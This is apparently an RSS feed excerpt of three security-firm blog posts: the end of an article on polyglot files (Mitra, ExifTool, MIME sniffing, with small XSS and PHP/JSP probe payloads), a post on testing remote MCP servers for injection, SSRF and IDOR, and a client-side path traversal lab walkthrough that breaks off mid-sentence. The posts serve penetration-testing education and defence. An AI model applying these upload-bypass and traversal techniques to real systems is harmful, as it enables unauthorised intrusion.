href="https://nvd.nist.gov/vuln/detail/CVE-2024-34790">CVE-2024–34790</a>, <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-5138">CVE-2025–5138</a>)</li><li>When the metadata contained in a file is processed or manipulated by the server after the upload (<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-22204">CVE-2021–22204</a>)</li><li>When the file and, as a consequence, its extension, can be modified after it has been uploaded <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-36847">(CVE-2020–36847)</a></li></ul><h3>Examples and Useful tools to create polyglot files</h3><h4>Mitra</h4><p>This tool automates the creation of polyglot files. It detects the two formats being combined, analyzes their structure and magic bytes, and identifies the chunks or segments each format allows. Based on that, it generates combinations where both formats can coexist within a single file. The tool supports the creation of these four categories of polyglots:</p><ul><li><strong>Stacks</strong>: Simply appends one file after the other. Each parser reads only the part it recognizes and ignores the rest.</li><li><strong>Parasites</strong>: Injects <em>file 2</em> into a location inside <em>file 1</em> that allows arbitrary data without breaking its structure. This works if <em>file1</em> has flexible or unused chunks.</li><li><strong>Zippers</strong>: Builds a file that is valid for both parsers simultaneously. It is created by overlapping the structures of <em>file 1</em> and <em>file 2</em>, effectively “zipping” both formats together. The result is a more complex structure compared to parasite files.</li><li><strong>Cavities</strong>: Leverages “empty” or unused spaces within the primary file format to inject content from a second format. These spaces don’t affect the validity of the original file and can be used to hide or embed payloads.</li></ul><p>As an example, we are going to create a PNG file which has an HTML embedded inside.</p><p>After executing Mitra, it shows that it was possible to create 2 types of combinations, a <strong>stack</strong> and a <strong>parasite</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K7udhKWEAM2kDAS4yvuXvA.png" /><figcaption>Mitra showing that both stack and parasite polyglots were created</figcaption></figure><p>By inspecting the <strong>parasite</strong> file, it embedded the HTML file inside the PNG without corrupting it, using a “cOMM” chunk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6wx6buBiHWjI8vEM6a2BtQ.png" /><figcaption>Showing in a hex editor the contents of the parasite file</figcaption></figure><p>Let’s dive into why Mitra created this file the way it did, and why it can be interpreted in two completely different ways just by changing its extension.</p><p>According to the official PNG specification (RFC 2083), we know that this “cOMM” chunk is considered ancillary because its first character is lowercase (‘c’), which sets the ancillary bit to 1 (<a href="https://datatracker.ietf.org/doc/html/rfc2083#page-13">3.3 — Chunk Naming Conventions</a>). Mitra simply took advantage of this and injected the payload inside this chunk.</p><p>Ancillary chunks are blocks of data whose contents are not strictly required to reconstruct or display the main image, and they can hold additional information while still keeping a valid PNG format (<a href="https://datatracker.ietf.org/doc/html/rfc2083#page-19">4.2 — Ancillary Chunks</a>)</p><p>But here’s the interesting part: the “cOMM” chunk used here is not one of the officially defined ancillaries in the RFC.</p><h4>So… what’s going on here??</h4><p>This is where the magic happens: since “cOMM” is not part of the standard PNG specification, decoders will safely ignore any unknown ancillary chunk types and continue rendering the image normally (<a href="https://datatracker.ietf.org/doc/html/rfc2083#page-77">12.12 — Chunk Layout</a>)</p><p>This behavior makes it possible to embed additional data such as an entire HTML file inside such a chunk without affecting how the image is rendered. As a result, the PNG remains visually intact, but it secretly carries an extra payload that may be interpreted differently depending on how the file is served or processed.</p><p>In contrast, if this polyglot is instead provided to an HTML parser such as a Browser and opened with a .html extension, the Browser will interpret the HTML tags contained in the injected chunk and render their content. For example, the image below shows JavaScript code being executed upon opening the polyglot file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HWCRoG_l4-MGFKmlwY-Tyw.png" /><figcaption>A Browser executing JavaScript contained inside a PNG that was renamed to an HTML extension</figcaption></figure><p>Moving on to the <strong>stack</strong> file, it simply concatenated both files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V1YbDYR4hBozNO9_FlLnpg.png" /><figcaption>A hex editor showing the contents of the Stack polyglot</figcaption></figure><p>We can also do this by just executing:</p><blockquote><em>echo “&lt;script&gt;alert(‘XSS via polyglot!’)&lt;/script&gt;” &gt;&gt; base.png</em></blockquote><p>Since we’re forging a <strong><em>.png</em></strong>, the server would treat the file as an actual image. This becomes useful if the target application has image viewers that render the file or parse the image using vulnerable libraries or components.</p><p>This far, I have shown two files that could coexist, but now I want to go in the opposite direction.</p><p>I will show an example where two files are incompatible. This usually happens when one of the files strictly requires its signature to be located at the very beginning of the document, or precisely at offset 0x00, as it is the case with PNG files.</p><p>So, let’s see what happens when we try to create a PDF with a PNG file embedded inside. The result is the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LhY8-OqEKZITUIjfL1SlAw.png" /></figure><p>In this case, <strong>Mitra</strong> indicates that the PDF can indeed embed another file starting at offset 0x30, which means right after the magic bytes and inside of an object element.</p><p>However, this is incompatible with PNGs, as this kind of files must strictly start at offset 0x00. You can think of it as the stricter file type defining the main structure and core of the polyglot, while the more flexible one (in this case, the PDF) is adjusted to fit within that structure. So what would actually be possible is creating a PNG that contains a PDF file inside, not the other way around.</p><p>Furthermore, if instead of attaching a PNG we use a simple .sh file, we can see that the payload is successfully injected inside the first PDF object at the specified offset.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*boSOPnV2pyTG4Qfw1AfHTg.png" /><figcaption>Editors showing the contents of a PDF filewhere a shellscript was injected</figcaption></figure><p>By showing these examples we can conclude that any kind of combination fully depends on how flexible the formats are when being combined, from where the signature is required to be located, to which chunks can be used.</p><p><strong>Github</strong>: <a href="https://github.com/corkami/mitra">https://github.com/corkami/mitra</a></p><h4>ExifTool</h4><p>There are specific scenarios where ExifTool becomes highly useful, particularly when the attack vector involves server-side manipulation of file metadata.</p><p>Consider the case of a file upload feature that only validates the magic bytes of the file, accepting only those matching a PNG header, but allows arbitrary extensions.</p><p>We could craft a PNG file (with valid magic bytes) but rename it to .php or .jsp and when uploaded, the server might later on interpret it as an executable (PHP/JSP) rather than an image.</p><p>Examples:</p><ul><li><em>&lt;%= System.getProperty(“java.version”) %&gt;</em></li><li><em>&lt;?php echo phpversion(); ?&gt;</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*e8-Ond-952M0xJKD_A8TnQ.png" /><figcaption>A hex editor showing the contents of a PNG file, which contains a JSP payload in the metadata</figcaption></figure><p>In this example we have a valid png structure and an embedded jsp payload in the file metadata.</p><p>Depending on what we are trying to exploit, we may obtain different outputs. If the metadata is displayed in the user interface, it is more likely that we will observe an XSS. On the other hand, if we embed a payload inside an image with the goal of extracting the PHP engine version, the response is more likely to appear in the server response when we request the path of the uploaded image. This is why being able to directly access the uploaded file is an added plus when exploiting these polyglot attack scenarios.</p><p><strong>Github</strong>: <a href="https://github.com/exiftool/exiftool">https://github.com/exiftool/exiftool</a></p><h3>MIME sniffing</h3><p>When manipulating files, there’s an important concept to consider: MIME sniffing.</p><p>This occurs on the browser when, instead of trusting the Content-Type header provided by the server, it attempts to guess the file type by inspecting the magic bytes.</p><p>If we manage to upload a <strong><em>.png</em></strong> file (because only the extension is being validated) but the browser performs MIME sniffing, we could exploit this by crafting a <strong><em>.png</em></strong> whose initial content matches the signatures that browsers identify as HTML/JavaScript during MIME sniffing. This tricks the browser into interpreting our <strong><em>.png</em></strong> as HTML potentially leading to XSS vulnerabilities</p><p>In practice, modern browsers significantly restrict MIME sniffing, and many servers send the <strong>X-Content-Type-Options: nosniff</strong> header by default. However, misconfigurations still occur in real environments, and vulnerabilities continue to be reported when services fail to enforce this header. Some recent examples include:</p><ul><li><a href="https://nvd.nist.gov/vuln/detail/cve-2024-43445">CVE-2024–43445</a></li><li><a href="https://nvd.nist.gov/vuln/detail/cve-2023-36918">CVE-2023–36918</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2018-17031">CVE-2018–17031</a></li></ul><h3>Conclusion</h3><p>In conclusion, Polyglot files can be very sneaky, and they act as a reminder that “file type” can be an interpretation based on a lot of moving parts, very much tied to the complexity of the type of file being ingested and/or interpreted.</p><p>As we’ve seen, whether a combination works depends heavily on format flexibility: where magic bytes must appear, which chunks/sections can carry arbitrary data, and how strictly parsers enforce their own specs.</p><p>Just to briefly recap, exploitation opportunities may arise through:</p><ul><li>Metadata parsers</li><li>Image processors</li><li>Vulnerable libraries handling file content</li><li>Web server misconfigurations that improperly execute uploaded files</li></ul><p>And protecting ourselves against polyglots isn’t a simple task either. It’s an ongoing effort, because keeping parsers and processing libraries up to date matters just as much as validation logic. An effective remediation can involve implementing a Content Disarm and Reconstruction (CDR), which normalizes files by stripping or rebuilding risky structures before they’re stored or processed.</p><p>Three steps take place when a file is processed by a CDR. First, the file is disassembled into its core elements (headers, chunks, metadata, comments), and then only the components and attributes required for the legitimate functionality of the file are preserved. You can think of this technology as having a whitelist of which components make up a legitimate type of file (e.g. a PDF). Anything that does not match is removed. The file is then reconstructed using only the components that passed the filter.</p><p>Finally, I would like to acknowledge <a href="https://x.com/corkami"><strong>Ange Albertini</strong></a>, creator of the <a href="https://github.com/corkami/mitra">Mitra</a> tool, and <a href="https://www.linkedin.com/in/phil-harvey-17806935/"><strong>Phil Harvey</strong></a>, creator of <a href="https://exiftool.org/">ExifTool</a>, for making such interesting resources available to the community. These tools inspired me to dive deeper into this topic and I highly encourage exploring their work.</p><p><strong>Felipe Raczkowski Anaya </strong>[<a href="https://www.linkedin.com/in/felipe-raczkowski-anaya-a0a54921b/">LinkedIn</a>] <br>Security Consultant @ Kulkan</p><h3>About Kulkan</h3><p>Kulkan Security (<a href="http://www.kulkan.com/">www.kulkan.com</a>) is a boutique offensive security firm specialized in Penetration Testing. If you’re looking for a Pentest partner, we’re here. Reach out to us via our website, at<a href="http://www.kulkan.com/"> www.kulkan.com</a></p><p>More on Kulkan at:</p><ul><li><a href="https://blog.kulkan.com/">https://blog.kulkan.com</a></li><li><a href="https://x.com/kulkansecurity">https://x.com/kulkansecurity</a></li><li><a href="https://www.linkedin.com/company/kulkan-security">https://www.linkedin.com/company/kulkan-security</a></li></ul><p>Subscribe to our newsletter at:</p><ul><li><a href="https://kulkan.beehiiv.com/subscribe">https://kulkan.beehiiv.com/subscribe</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=699885a3e59f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Assessing the Attack Surface of Remote MCP Servers]]></title>
            <link>https://cybersecuritywriteups.com/assessing-the-attack-surface-of-remote-mcp-servers-92d630a0cab0?source=rss-d4ad84534f10------2</link>
            <guid isPermaLink="false">https://medium.com/p/92d630a0cab0</guid>
            <category><![CDATA[ai-security]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[mcp-server]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Kulkan Security]]></dc:creator>
            <pubDate>Mon, 03 Nov 2025 19:34:21 GMT</pubDate>
            <atom:updated>2026-02-02T12:24:34.264Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PrvF0lZfPm8XzWYejvk8rw.png" /></figure><p>Hello! I’m Matias Forti, technical lead here at Kulkan Security. As the AI landscape continues to evolve I’ve been really interested in exploring how these technologies can be attacked. This post will go over our research into remote MCP servers, covering the exposed attack surface and sharing our methods and ideas to test them.</p><blockquote><em>DISCLAIMER</em><strong><em>: </em></strong>The MCP Specification is a new and evolving standard, it’s likely that the specification will change in the future and some of the items outlined in this blog will no longer be applicable. For reference this blog was written using the <a href="https://modelcontextprotocol.io/specification/2025-06-18">2025–06–18</a> version of the specification.</blockquote><h3><strong>Intro to MCP</strong></h3><p>We feel it’s important to briefly outline how the MCP Protocol works before going over to the attack surface of MCP Servers. While this quick explainer is good enough to follow the rest of the post, we greatly encourage you to read the <a href="https://modelcontextprotocol.io/specification/2025-06-18">complete specification</a> to fully understand the protocol.</p><p>MCP (Model Context Protocol) is a lightweight protocol for giving large language models and agent frameworks safe<em>ish</em> access to external data, tools, and resources. Instead of cramming everything into a single model prompt or an ad‑hoc API, MCP formalizes how a host LLM discovers what a remote or local server can do (prompts, resources, tools)</p><p>The specification describes 3 main participants:</p><ul><li><strong>Host</strong>: The host LLM, such as Claude desktop or the Cursor IDE LLM.</li><li><strong>Client</strong>: The program used by the Host to communicate with the server, there will always be 1 client per server, and they should be isolated from each other.</li><li><strong>Server</strong>: The MCP Server itself, servers can be hosted either locally or remotely.</li></ul><p>The transport layer is based on JSON RPC 2.0, sent via STDIN/STDOUT for local servers or SSE / streamable HTTP for remote servers.</p><p>The following diagram shows a sample configuration:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lMlrviNavvbomGykU0stbQ.png" /></figure><p>With that out of the way, we can look into the particulars of remote MCP servers.</p><h3><strong>Authentication / Authorization</strong></h3><p>MCP implements OAuth2 in the specification for remote servers requiring authorization, the MCP Server in this case acts like a resource provider, with a different service acting as the identity provider.</p><p>While not in scope for this blogpost, this means that remote MCP Servers could be affected by the <a href="https://portswigger.net/web-security/oauth">known OAuth vulnerabilities</a>.</p><p>After the OAuth handshake the server will set an authentication token which will be used in all following MCP requests. It’s worth noting that this token is <em>not</em> the same as the “Mcp-Session-Id” token which is used by the server to identify and track a given connection and not for identification.</p><p>A full overview of the Auth mechanism can be found <a href="https://modelcontextprotocol.io/specification/2025-06-18/basic/authorization">here</a>.</p><h3><strong>Attack surface</strong></h3><p>Remote MCP Servers can expose 3 fundamental services to clients; <strong>Tools</strong>, <strong>Resources</strong> and <strong>Prompts</strong>.</p><h4><strong>Prompts</strong></h4><p>Servers can expose prompts meant to be consumed by the host LLM, these prompts can optionally have arguments filled in by the user therefore acting as a sort of prompt table, these arguments can also include resource IDs, which will get bundled into the prompt.</p><p>Below is an example for the “prompts/list” operation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EYY8-3NzewpMfuLXQ8iX0Q.png" /></figure><p>From a security standpoint there’s not much here for us to attack, prompt injection could be possible if an attacker is able to tamper with the parameters passed to the prompt call, however that would require a way to include a prompt injection attack in a referenced resource or prior exploitation of the Host LLM / MCP Client to directly tamper with the parameters.</p><h4><strong>Resources</strong></h4><p>Resources are an MCP feature that allows servers to expose data and content that can be read by clients and used as context for LLM interactions.</p><p>The following requests show the interaction with Resources, first the client makes a call to the resources/list operation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*fIX-M26Fql6ZL3oW_Kv3ww.png" /></figure><p>The client can then call a given resource by its URI:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*vMyFvPDB0DKlrqXTEPhBuA.png" /></figure><p>This is a really clear vector for LFI or SSRF vulnerabilities, if the server is not validating that the URI passed by the client is one of the listed resources it could be tricked into disclosing internal files or services.</p><p>Additionally, for authenticated MCP Servers that expose resources bound to a given user this is a clear target for testing IDOR-like vulnerabilities.</p><h4><strong>Tools</strong></h4><p>Tools are the main selling point of the MCP protocol, and the most interesting from a security perspective, as they provide a way for LLMs (or us) to directly interact with code in the server.</p><p>For example, this is a simple tool definition using Python’s FastMCP library:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*wmdVBqdJn9qnEuPFu6wJmg.png" /></figure><p>When a client calls the `tools/list` operation the tools’ contents will be returned with the following format:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*FhH0D-MYBPyerCvtgOtT_A.png" /></figure><p>This gives the client the input format expected by the tool, as well as a description on what it does, tools may also have optional parameters to give the clients’ extra context, these are defined <a href="https://modelcontextprotocol.io/specification/2025-06-18/server/tools#too">here</a>.</p><p>Clients will then call the tool according to the definition:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Y8PKmgb3pik0PunwOLERw.png" /></figure><p>By their nature, tools provide a simple direct way to interact with code in the server, which means that, as attackers, they are the most likely targets for finding vulnerabilities.</p><p>As an example, <a href="https://equixly.com/blog/2025/03/29/mcp-server-new-security-nightmare/">Equixly</a> research found that 43% of servers they tested were vulnerable to command injection vulnerabilities, among other security issues. It’s worth highlighting that interacting with remote MCP Servers is not fundamentally different from calling regular REST apis, so it’s reasonably expected that MCP servers are affected by the same type of vulnerabilities.</p><p>However, unlike REST apis, the asynchronous transport mechanism used by MCP servers makes it difficult for traditional security tools like Burp suite to interact with them, below we’ll show some tooling options that serve as a workaround:</p><p><strong>MCP Inspector</strong></p><p><a href="https://github.com/modelcontextprotocol/inspector">https://github.com/modelcontextprotocol/inspector</a></p><p>MCP Inspector is a tool created by Anthropic to test and debug MCP Server, it provides a simple web user interface that lets us interact with a given server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w3q5eEF62dPrQEkOmnShOA.png" /></figure><p>It supports all 3 transport methods (STDIO and HTTP via SSE or streamableHTTP) as well as OAuth authorization support.</p><p>There’s also a fully featured cli mode, useful for building automation scripts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9XcarMo4oP5tv8nlzApnoA.png" /></figure><p>This tool is really helpful for the initial understanding and recon on MCP Servers, as well as for performing basic interaction.</p><p><strong>MCP to HTTP Bridge</strong></p><p><a href="https://github.com/nccgroup/http-mcp-bridge">https://github.com/nccgroup/http-mcp-bridge</a></p><p>This tool written by NCC, as indicated by the name, is a simple bridge from the MCP SSE Protocol to the HTTP/1.1 protocol, meant to be used with a web proxy such as Burp Suite or Caido, with no fancy interface or tooling out of the box.</p><p>It’s important to note that as of writing, this tool only supports the SSE transport and not the streamable HTTP transport. The SSE transport <a href="https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#backwards-compatibility">was deprecated in the 2025–03–26 version of the specification</a>, but it still seems to be supported by most publicly available MCP Servers.</p><p>Starting it requires passing the url for the MCP server we wish to connect to, it’ll then create a listener that we can point our proxy to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*elXeh-sUqz2O4t1FmMZBXw.png" /></figure><p>Since this is basically a raw proxy, we’ll need to perform the MCP connection handshake manually to get a valid session-id to communicate with the server, instructions for this are available in the tool’s <a href="https://github.com/nccgroup/http-mcp-bridge?tab=readme-ov-file#initialization-handshake">Github README page</a>. Afterwards, we can interact with the MCP Server by crafting the appropriate JSON messages:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d_CFXYApat3PKCc84Ha9qg.png" /></figure><p>While this is more cumbersome, it gives us complete control over the message sent by the client as well as automation tools provided by the proxy itself, such as Burp Intruder.</p><h3><strong>Conclusion</strong></h3><p>While the MCP specification brings a novel interface for integrating LLMs with external systems, it also introduces familiar risks in a new format. Remote MCP servers present a clear attack surface that mirrors traditional web application vulnerabilities like command injection, SSRF, and IDOR.</p><p>As adoption of the MCP protocol increases (The <a href="https://github.com/modelcontextprotocol/servers">MCP Servers Github page</a> has over 500 listed official servers!) so will the need for us as security researchers to understand the protocol and become familiar with how to test it. Hopefully we have given you a good introduction into the inner workings of the protocol and how to get started with testing.</p><p><strong>Matias Forti </strong>[<a href="https://www.linkedin.com/in/matias-forti-1a0776182/">LinkedIn</a>] [<a href="https://x.com/polarizeflow">X</a>]<br>Technical Lead @ Kulkan</p><h3>About Kulkan</h3><p>Kulkan Security (<a href="http://www.kulkan.com/">www.kulkan.com</a>) is a boutique offensive security firm specialized in Penetration Testing. If you’re looking for a Pentest partner, we’re here. Reach out to us via our website, at<a href="http://www.kulkan.com/"> www.kulkan.com</a></p><p>More on Kulkan at:</p><ul><li><a href="https://blog.kulkan.com/">https://blog.kulkan.com</a></li><li><a href="https://x.com/kulkansecurity">https://x.com/kulkansecurity</a></li><li><a href="https://www.linkedin.com/company/kulkan-security">https://www.linkedin.com/company/kulkan-security</a></li></ul><p>Subscribe to our newsletter at:</p><ul><li><a href="https://kulkan.beehiiv.com/subscribe">https://kulkan.beehiiv.com/subscribe</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92d630a0cab0" width="1" height="1" alt=""><hr><p><a href="https://cybersecuritywriteups.com/assessing-the-attack-surface-of-remote-mcp-servers-92d630a0cab0">Assessing the Attack Surface of Remote MCP Servers</a> was originally published in <a href="https://cybersecuritywriteups.com">Cyber Security Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Client-Side Path Traversal: Exploiting CSRF in Header-based auth scenarios]]></title>
            <link>https://medium.com/@kulkan-security/client-side-path-traversal-exploiting-csrf-in-header-based-auth-scenarios-31c26a1baece?source=rss-d4ad84534f10------2</link>
            <guid isPermaLink="false">https://medium.com/p/31c26a1baece</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cspt]]></category>
            <dc:creator><![CDATA[Kulkan Security]]></dc:creator>
            <pubDate>Tue, 14 Oct 2025 16:48:59 GMT</pubDate>
            <atom:updated>2025-10-29T13:18:24.596Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ECtSgkUejEmKNa5Xy3isQg.png" /><figcaption>Client-Side Path Traversal: Exploiting CSRF in header-based auth scenarios</figcaption></figure><p>Hello! <a href="mailto:lcebrero@kulkan.com">Lucas Cebrero</a> here, Security Consultant at Kulkan. As part of an internal training activity I’ve been working on a small lab to learn about Client Side Path Traversal attacks. I wanted to share it with you along with a short blogpost. I hope that you enjoy it.</p><h3>Introduction</h3><p>Pentesters used to exploit CSRF almost everywhere with relative ease. Even when anti-CSRF tokens were introduced, secure implementations were hard to come by. Then came the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#samesitesamesite-value">SameSite cookie flag</a>, which significantly raised the bar, and when browsers started setting SameSite to Lax by default, things got even harder.</p><p>The final blow seemed to come with applications that authenticate exclusively via header-based authentication methods such as JWTs in HTTP headers, as is commonly seen nowadays. Since these tokens aren’t automatically sent by the browser like cookies, the classic CSRF attack model no longer applies.</p><p>But a few years ago, a clever technique emerged that allowed pentesters to resurrect CSRF attacks in these auth header scenarios, Client-Side Path Traversal. I’d heard of this technique before, but decided to dive deeper, build the simplest possible lab, and understand exactly how it works.</p><p>Let’s take a closer look.</p><h3>CSRF Protections</h3><p><strong>CSRF</strong></p><p>First of all, why was CSRF such a widespread issue? Because browsers automatically included cookies in requests to a site whenever the cookie’s Origin matched the request site’s Origin, even if the request itself originated from a different site. If you’re unfamiliar with the concept of Origin, I recommend that you read Mozilla’s documentation over at: <a href="https://developer.mozilla.org/en-US/docs/Glossary/Origin">https://developer.mozilla.org/en-US/docs/Glossary/Origin</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tUxvQmM1Zg2v_cLJGFUS_w.png" /><figcaption><em>Cookie set to google.com that will automatically be sent when accessing the same Origin.</em></figcaption></figure><p>This expected behavior could be abused by attackers. If a user visited a malicious page while logged into another site, the attacker could trigger an authenticated request to that site, often performing state-changing actions, like updating an email address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XgpMffUHUtG1yjPU60cssQ.png" /><figcaption><em>CSRF proof-of-concept.</em></figcaption></figure><p><strong>Anti-CSRF tokens</strong></p><p>To defend against this, developers began adding anti-CSRF tokens. These are random values which are generated server-side and included in the requests made by users that the server has to verify before performing any action. For these tokens to be effective, they must be:</p><ul><li>Unique per user session.</li><li>Secret</li><li>Unpredictable (large random value generated by a secure method)</li></ul><p>In practice, getting all these right is harder than it sounds, and insecure implementations have been common.</p><p><strong>SameSite cookie flag</strong></p><p>A newer browser defense is the <strong>SameSite</strong> cookie attribute, which controls whether cookies are sent with cross-site requests. It has three possible settings:</p><ul><li><strong>None</strong>: cookies are sent with all requests, just like before.</li><li><strong>Lax</strong>: cookies are sent for same-site requests and safe cross-site requests like GET. They are not sent for POST, PUT, or DELETE from other Origins.</li><li><strong>Strict</strong>: cookies are only sent if the request originates from the exact same Origin (same protocol, host, and port).</li></ul><p>Originally, this flag had to be set explicitly by developers. Now, modern browsers default to <strong>Lax</strong> if the attribute is missing, reducing CSRF risk for cookie-based authentication.</p><h3>Authentication via HTTP headers (JWT)</h3><p>Beyond <em>SameSite</em> cookies, many modern applications, especially Single-Page Applications (SPAs), have moved to using JSON Web Tokens (JWTs) for authentication. These tokens are typically stored in <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage"><em>localStorage</em></a> or <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage"><em>sessionStorage</em></a> and sent to the server via an <em>Authorization</em> header.</p><p>This approach eliminates the classic CSRF risk associated with cookies because:</p><ul><li>Unlike cookies, JWTs placed in the Authorization header are not sent automatically with every request to their Origin.</li><li>JWTs in headers are only sent when the application’s JavaScript code explicitly adds them, making it impossible for a cross-site attacker to trigger an authenticated request without running code in the victim’s browser.</li></ul><p>In other words, for a while, it looked like CSRF was finally dead in these “header-auth” scenarios. However, in 2022 an overlooked issue with seemingly low severity made it into PortSwigger’s Top 10 Web Hacking Techniques: <strong>Client-Side Path Traversal</strong>. Shortly after, Doyensec published their excellent research “<a href="https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf">Exploiting Client-Side Path Traversal: CSRF is Dead, Long Live CSRF</a>”, which inspired me to take a closer look at this vulnerability.</p><h3>What is Client-Side Path Traversal (CSPT)?</h3><p>Modern Single-Page Applications (SPAs) rely heavily on the front-end. Routing, state management, and even sensitive operations like updating user profiles or changing passwords are often initiated entirely by JavaScript in the browser.</p><p>In these applications, the frontend code dynamically constructs API requests to send to the backend. For example, building a URL like <strong>/api/user/123/orders</strong> based on the route or query parameters in the current page like <strong>/#/orders/?userId=123</strong>.</p><p>This is convenient for development, but when user-controlled values are used in this path-building process without proper validation, an attacker can tamper with them to reach unintended endpoints.</p><p><strong>Client-Side Path Traversal</strong> occurs when a frontend application takes a user-controlled path (or part of it), normalizes it, and sends it as part of an internal API request.</p><p>By manipulating this path, e.g., using <strong>../</strong> sequences, an attacker can make the frontend navigate to or call <strong>endpoints they shouldn’t suppose to</strong>.</p><p>Example:<br><a href="https://test-site.local/#/profile?id=../../../../api/update-password"><strong>https://test-site.local/#/profile?id=../../../../api/update-password</strong></a></p><p>If the application’s JavaScript takes <strong>id</strong> and concatenates it into a request URL, it might end up calling <strong>/api/update-password</strong> without the user ever directly navigating there.</p><p>In this example, we’ll call “<strong><em>source</em></strong>” to the query parameter <strong>id</strong> and “<strong><em>sink</em></strong>” to the password update API <strong>/api/update-password</strong>.</p><p>The <strong>source</strong> is the attacker-controlled input that feeds into the vulnerable path construction.</p><p>And the <strong>sink</strong>, the sensitive or exploitable endpoint reached because of the traversal.</p><h3>Why CSPT defeats JWT-in-header protections</h3><p>Normally, an attacker can’t make the victim’s browser send a JWT in a request — unless they can run JavaScript in the victim’s Origin (e.g., via XSS).</p><p>But with CSPT, the attacker doesn’t need to inject code, they only need to trick the victim into visiting a crafted URL.</p><p>The frontend code itself will:</p><ol><li>Resolve the manipulated path.</li><li>Send the request to the sink.</li><li>Automatically include the JWT in the <strong><em>Authorization</em></strong> header (or the header to use in common agreement between the client and the server).</li></ol><p>From the backend’s perspective, it looks like a legitimate request from the authenticated user, a classic CSRF scenario brought back to life.</p><h3>Walkthrough: Exploiting CSPT in the Lab</h3><p>To really understand CSPT, I built a minimal vulnerable lab. The goal was to keep it simple enough to grasp the mechanics, but realistic enough to reflect issues you might find in modern apps.</p><p>The lab is available at:</p><ul><li><a href="https://github.com/kulkansecurity/cspt-lab">https://github.com/kulkansecurity/cspt-lab</a></li></ul><p><strong>Lab setup</strong></p><ul><li><strong>Frontend</strong>: React.js SPA</li><li><strong>Backend</strong>: Node.js REST API</li></ul><p><strong><em>Features</em></strong>:</p><ul><li>User creation, deletion, and modification with a validation feature.</li><li>User profile viewing</li><li>Admin panel to promote members to administrators</li></ul><p>In real-world testing, very attractive CSRF targets would be the features for user deletion and user promotion. Because the app uses JWT authentication via HTTP headers, a classic CSRF which relies on cookie-based authentication is impractical. We wouldn’t be able to make the browser send the JWT for us unless… the frontend itself did it for us.</p><p><strong>Finding a source</strong></p><p>While browsing the app, a password confirmation feature can be found upon updating the email address. In a real system, this would send a confirmation link to the user’s email. However, in our lab, the link is simply displayed via a JavaScript <strong>alert()</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*CYkAOj13VS31suc-5Ni1_Q.png" /></figure><p>When visiting this link, we can see that the frontend makes a request like:</p><pre>fetch(`${config.apiBaseURL}/api/users/${userId}/profile`, {<br>  method: &#39;POST&#39;,<br>  headers: { <br>    &#39;Content-Type&#39;: &#39;application/json&#39;,<br>    &#39;Authorization&#39;: `Bearer ${token}` <br>  },<br>  body: JSON.stringify({ verified: true })<br>})</pre><p>Here, <strong>userId</strong> is taken directly from the URL parameter with no sanitization nor validation and concatenated into the API path.</p><p>That’s our source.</p><p><strong>From source to sink</strong></p><p>If we replace userId with a traversal sequence <strong>..%2f..%2f..</strong> the resulting request path changes from <strong>/api/users/&lt;id&gt;/profile</strong> to <strong>/profile</strong>. And because the frontend still attaches the Authorization header, we can make it call any API endpoint the authenticated user has access to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*irZxcxlFye3x9bkElwtRSA.png" /></figure><p><strong>Crafting our exploit</strong></p><p>The JavaScript code appends <strong>/profile</strong> to the request path. To remove it, we can append a <strong>#</strong> (fragment) or <strong>?</strong> (query string) to our payload. The browser will treat anything after that as a fragment identifier or query string parameter respectively, excluding it from the path sent to the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uZQ5b9T-5MRIOKsW9rx5fg.png" /></figure><p>There are two interesting endpoints in the backend that are perfect candidates to use as a sink.</p><p>The <strong>/admin/promote/&lt;USER-ID&gt;</strong> endpoint that 